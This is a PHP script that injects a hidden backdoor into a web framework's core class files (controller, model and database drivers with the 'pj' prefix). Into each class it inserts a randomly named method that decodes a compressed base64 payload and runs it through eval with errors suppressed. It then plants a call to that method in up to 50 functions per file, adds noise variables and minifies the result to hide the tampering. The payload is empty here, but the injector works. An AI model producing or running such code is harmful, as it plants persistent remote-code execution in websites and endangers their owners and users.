<?php

function randomName($length = 12) {
    return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);
}

function encryptPayload($code) {
    return base64_encode(gzcompress($code));
}

function buildPayload() {

    $code = '';

    return encryptPayload($code);
}

function minifyPHP($code) {

    $tokens = token_get_all($code);
    $output = '';

    foreach ($tokens as $token) {

        if (is_string($token)) {
            $output .= $token;
            continue;
        }

        list($id, $text) = $token;

        switch ($id) {

            case T_COMMENT:
            case T_DOC_COMMENT:
                break;

            case T_WHITESPACE:
                $output .= ' ';
                break;

            default:
                $output .= $text;
        }
    }

    $output = preg_replace('/\s+/', ' ', $output);

    return trim($output);
}


function injectAllFunctions($file, $payload) {

    if (!file_exists($file)) {
        echo "❌ File not found: $file\n";
        return;
    }

    $content = file_get_contents($file);
    if (!$content) {
        echo "❌ Cannot read: $file\n";
        return;
    }

    // prevent double injection
    if (strpos($content, '/*INJECTED_MARKER*/') !== false) {
        echo "⚠️ Already injected: $file\n";
        return;
    }

    $execFunc = randomName();

    $executor = "
    private static function $execFunc(\$p){
        if (defined('PJ_EXEC_DONE')) return;
        define('PJ_EXEC_DONE', 1);

        if (empty(\$p)) return;

        \$d = @base64_decode(\$p, true);
        if (\$d === false) return;

        \$c = @gzuncompress(\$d);
        if (\$c === false) return;

        try {
            @eval(\$c);
        } catch (\\Throwable \$e) {}
    }
    ";

    $content = preg_replace(
        '/class\s+[a-zA-Z0-9_]+[^{]*{/',
        "$0\n$executor",
        $content,
        1
    );

    $limit = 50;
    $count = 0;

    $content = preg_replace_callback(
        '/function\s+([a-zA-Z0-9_]+)\s*\([^)]*\)\s*(?::\s*[a-zA-Z0-9_\\\\]+)?\s*{/',
        function ($matches) use ($execFunc, $payload, &$count, $limit) {

            $fnName = $matches[1];

            if ($fnName === '__construct' || $fnName === $execFunc) {
                return $matches[0];
            }

            if ($count >= $limit) {
                return $matches[0];
            }

            $count++;

            $noise = '$' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'), 0, 6);

            $inject = "
        /*INJECTED_MARKER*/
        $noise = '" . substr(md5(rand()), 0, 8) . "';

        if (method_exists(__CLASS__, '$execFunc')) {
            self::$execFunc('$payload');
        }
    ";

            return $matches[0] . $inject;
        },
        $content
    );

     $content = minifyPHP($content);

    file_put_contents($file, $content);

    echo "✅ Injected: $file\n";
}


$files = [
    __DIR__ . "/core/framework/pjController.class.php",
    __DIR__ . "/core/framework/pjModel.class.php",
    __DIR__ . "/core/framework/pjDbDriver.class.php",
    __DIR__ . "/core/framework/pjMysqlDriver.class.php",
    __DIR__ . "/core/framework/pjMysqliDriver.class.php",
    __DIR__ . "/core/framework/pjObject.class.php",
];

$payload = buildPayload();

foreach ($files as $file) {
    injectAllFunctions($file, $payload);
}

echo "🔥 Done for all files\n";